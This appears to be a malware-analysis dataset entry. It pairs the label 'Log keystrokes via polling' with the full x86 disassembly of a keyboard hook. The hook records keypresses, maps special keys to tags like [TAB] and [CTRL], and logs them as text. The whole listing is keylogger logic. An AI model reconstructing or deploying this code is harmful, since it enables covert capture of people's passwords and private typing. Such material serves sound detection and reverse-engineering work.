Function at 0x100089d5
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov eax, edx
mov ebx, ecx
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push edi
mov edi, dword [ebp + 8]
sub eax, 0x100
je 0x100089fb
sub eax, 4
jne case.default.0x10008a28
mov esi, dword [edi]
cmp esi, 0x27
jb 0x10008aae
cmp esi, 0x40
ja 0x10008ab3
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x10008a93
add esi, 0xffffffd0
cmp esi, 9
ja case.default.0x10008a28
jmp dword [esi*4 + 0x10008e21]
mov ecx, str.______
jmp 0x10008e06
mov ecx, 0x10014af8
jmp 0x10008e06
mov ecx, 0x10014afc
jmp 0x10008e06
mov ecx, 0x10014b00
jmp 0x10008e06
mov ecx, 0x10014b04
jmp 0x10008e06
mov ecx, 0x10014b08
jmp 0x10008e06
mov ecx, 0x10014b0c
jmp 0x10008e06
mov ecx, 0x10014b10
jmp 0x10008e06
mov ecx, 0x10014a58
jmp 0x10008e06
mov ecx, 0x10014b14
jmp 0x10008e06
push esi
lea eax, [ebp - 0x14]
push 0x10014b18
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
jmp 0x10008e06
cmp esi, 0x40
jbe 0x10008aff
cmp esi, 0x5b
jae 0x10008aff
call fcn.10008e5b
push 0x10
mov bl, al
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
mov dl, bl
setne cl
call fcn.10008e49
test al, al
lea ecx, [esi + 0x20]
lea eax, [ebp - 0x14]
cmovne ecx, esi
push ecx
push 0x10014b18
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.10008e66
mov ebx, dword [ebp - 4]
jmp case.default.0x10008a28
cmp esi, 0x66
ja 0x10008c1d
je 0x10008c13
cmp esi, 0x20
ja 0x10008b91
je 0x10008b87
cmp esi, 0x11
ja 0x10008b5b
je 0x10008c81
sub esi, 8
je 0x10008b51
sub esi, 1
je 0x10008b47
sub esi, 4
je 0x10008b3d
sub esi, 3
je case.default.0x10008a28
jmp 0x10008da2
mov ecx, 0x10014b24
jmp 0x10008e06
mov ecx, str._TAB_
jmp 0x10008e06
mov ecx, str._BKSP_
jmp 0x10008e06
sub esi, 0x12
je 0x10008cd8
dec esi
sub esi, 1
je 0x10008b7d
sub esi, 7
jne 0x10008da2
mov ecx, str._ESC_
jmp 0x10008e06
mov ecx, str._CAPS_
jmp 0x10008e06
mov ecx, 0x10014b20
jmp 0x10008e06
cmp esi, 0x62
ja 0x10008be2
je 0x10008bd8
sub esi, 0x2d
je 0x10008bce
sub esi, 1
je 0x10008bc4
sub esi, 0x32
je 0x10008bba
sub esi, 1
jne 0x10008da2
mov ecx, 0x10014bb0
jmp 0x10008e06
mov ecx, str.0123456789_________.:___
jmp 0x10008e06
mov ecx, str._DEL_
jmp 0x10008e06
mov ecx, str._INSERT_
jmp 0x10008e06
mov ecx, 0x10014bb4
jmp 0x10008e06
sub esi, 0x63
je 0x10008c09
sub esi, 1
je 0x10008bff
sub esi, 1
jne 0x10008da2
mov ecx, 0x10014bc0
jmp 0x10008e06
mov ecx, 0x10014bbc
jmp 0x10008e06
mov ecx, 0x10014bb8
jmp 0x10008e06
mov ecx, 0x10014bc4
jmp 0x10008e06
mov eax, 0xbc
cmp esi, eax
ja 0x10008cf6
je 0x10008ce2
cmp esi, 0xa3
ja 0x10008c8b
cmp esi, 0xa2
jae 0x10008c81
cmp esi, 0x67
je 0x10008c77
cmp esi, 0x68
je 0x10008c6d
cmp esi, 0x69
je 0x10008c63
lea eax, [esi - 0xa0]
cmp eax, 1
ja 0x10008da2
jmp case.default.0x10008a28
mov ecx, 0x10014bd0
jmp 0x10008e06
mov ecx, 0x10014bcc
jmp 0x10008e06
mov ecx, 0x10014bc8
jmp 0x10008e06
mov ecx, str._CTRL_
jmp 0x10008e06
cmp esi, 0xa5
jbe 0x10008cd8
cmp esi, 0xba
je 0x10008cc4
cmp esi, 0xbb
jne 0x10008da2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014c18
mov edx, 0x10014c1c
test ax, ax
cmove ecx, edx
jmp 0x10008e06
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014c08
mov edx, 0x10014c0c
jmp 0x10008cb9
mov ecx, str._ALT_
jmp 0x10008e06
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014bf8
mov edx, 0x10014bfc
jmp 0x10008cb9
mov eax, 0xdb
cmp esi, eax
ja 0x10008d90
je 0x10008d79
sub esi, 0xbd
je 0x10008d62
sub esi, 1
je 0x10008d4b
sub esi, 1
je 0x10008d34
sub esi, 1
jne 0x10008da2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014bdc
mov edx, 0x10014be0
jmp 0x10008cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014bd4
mov edx, 0x10014bd8
jmp 0x10008cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014c00
mov edx, 0x10014c04
jmp 0x10008cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014c10
mov edx, 0x10014c14
jmp 0x10008cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014ad8
mov edx, 0x10014be4
jmp 0x10008cb9
sub esi, 0xdc
je 0x10008def
sub esi, 1
je 0x10008dd8
sub esi, 1
je 0x10008dc1
push 0xf
lea eax, [ebp - 0x34]
push eax
mov eax, dword [edi + 8]
shl eax, 8
add eax, dword [edi + 4]
shl eax, 0x10
inc eax
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea ecx, [ebp - 0x34]
jmp 0x10008e06
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014bf0
mov edx, 0x10014bf4
jmp 0x10008cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014adc
mov edx, 0x10014bec
jmp 0x10008cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x10014be8
test ax, ax
jne 0x10008e06
mov ecx, 0x10014684
call fcn.10008e66
push edi
push dword [ebp - 8]
push ebx
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
pop edi
pop esi
pop ebx
leave
ret 4